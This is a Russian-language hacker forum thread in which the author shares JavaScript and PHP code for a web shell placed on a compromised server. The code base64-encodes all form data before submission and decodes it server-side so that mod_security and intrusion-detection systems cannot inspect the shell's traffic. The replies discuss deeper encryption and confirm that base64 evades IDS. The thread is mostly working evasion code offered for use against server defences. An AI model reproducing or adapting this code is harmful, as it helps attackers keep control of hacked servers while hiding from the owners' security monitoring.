наверняка у тебя дружище бывало не раз так что ты через пару минут как залил на сервачек свой скриптик и пытаясь скомпилить одей софт видишь сообщение браузера что хост не доступен или пермишен денайд например, что это за фигня? вот облом то! хоть ты и пользовался только методом POST но весь траф все равно проверялся mod_scurity или какойнить IDS, так вот чтоб этого не было можно исправить свой веб шел так чтоб траф шифровался перед отправкой в браузере и расшифровывался скриптом при принятии, вот собственно я и наваял коечего все работает так: собираются все данные форм кодируются в base64 и отправляются скрипту , там раскодируются и в массив POST забиваются.
кароче шифрование оставил только на отправляемые данные всего ~60 строчек кода: JavaScript код ставим в шеле в теге <head> base64_encode функция честно украдена, остальное мое. PHP: <script> var B64={ _keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", enc:function(input){var output="";var chr1,chr2,chr3,enc1,enc2,enc3,enc4;var i=0; input=B64.uenc(input);while(i<input.length){chr1=input.charCodeAt(i++);chr2=input.charCodeAt(i++);chr3=input.charCodeAt(i++); enc1=chr1>>2;enc2=((chr1&3)<<4)|(chr2>>4);enc3=((chr2&15)<<2)|(chr3>>6);enc4=chr3&63;if(isNaN(chr2)){enc3=enc4=64;}else if(isNaN(chr3)){enc4=64;} output=output+this._keyStr.charAt(enc1)+this._keyStr.charAt(enc2)+this._keyStr.charAt(enc3)+this._keyStr.charAt(enc4);}return output;}, uenc:function(string){string=string.replace("/\r\n/g","\n");var utftext="";for(var n=0;n<string.length;n++){ var c=string.charCodeAt(n);if(c<128){utftext+=String.fromCharCode(c);} else if((c>127)&&(c<2048)){utftext+= String.fromCharCode((c>>6)|192);utftext+= String.fromCharCode((c&63)|128);} else{utftext+=String.fromCharCode((c>>12)|224);utftext+=String.fromCharCode(((c>>6)&63)|128);utftext+=String.fromCharCode((c&63)|128);}} return utftext;} } document.onclick=function(e){ e=e||event; var F=e.target||e.srcElement; if(F.tagName=="INPUT"&&F.type=="submit"){ var D=document; var I=0; var C=new Array(); var S=F; var T=""; do F=F.parentNode; while(F!="[object HTMLFormElement]"); for(var a in F.elements){ A=F.elements[a]; switch(A.type){ case "checkbox": if(A.checked)T+=A.name+"=on&"; break; case "select-multiple": for(var t in A.options){if(A.options[t].selected)T+=A.name+"="+escape(A.options[t].value)+"&";} break; case "radio": if(A.checked)T+=A.name+"="+escape(A.value)+"&"; break; case "file": C[I]=A.cloneNode(true);C[I].setAttribute("style","visibility:hidden");I++; break; case "submit": if(A===S)T+=A.name+"="+(escape(A.value)||1)+"&"; break; default: T+=A.name+"="+(escape(A.value)||"")+"&"; }} T=T.replace(/\+/g,"%2B"); var N=D.createElement("form"); N.method="POST"; N.enctype="multipart/form-data"; var H=D.createElement("input"); H.name="encode"; H.value=B64.enc(T); H.type="hidden"; N.appendChild(H); for(var i in C)N.appendChild(C[i]); D.body.appendChild(N); N.submit(); D.body.removeChild(N); return false; }} </script> и в начале php кода скрипта, функция обработки: PHP: if(count($_POST)>1||(empty($_POST['encode'])&&$_SERVER['REQUEST_METHOD']=='POST'))die("NO CRYPT, SORRY"); @parse_str(base64_decode($_POST['encode']),$_POST); вроде все работает и шифруется как надо , ну естественно кроме загружаемого файла.
респект, я тоже самое делал на своем шеле, только более глубокое шифрование, когда смогу найти время, что бы довести до ума выложу свой вариант.
я тоже думал сначала про более глубокое но нагрузка на браузер соответственно возрастает, да и одним базе64 вроде все обходится, не встречал пока чтоб его ids на лету парсило.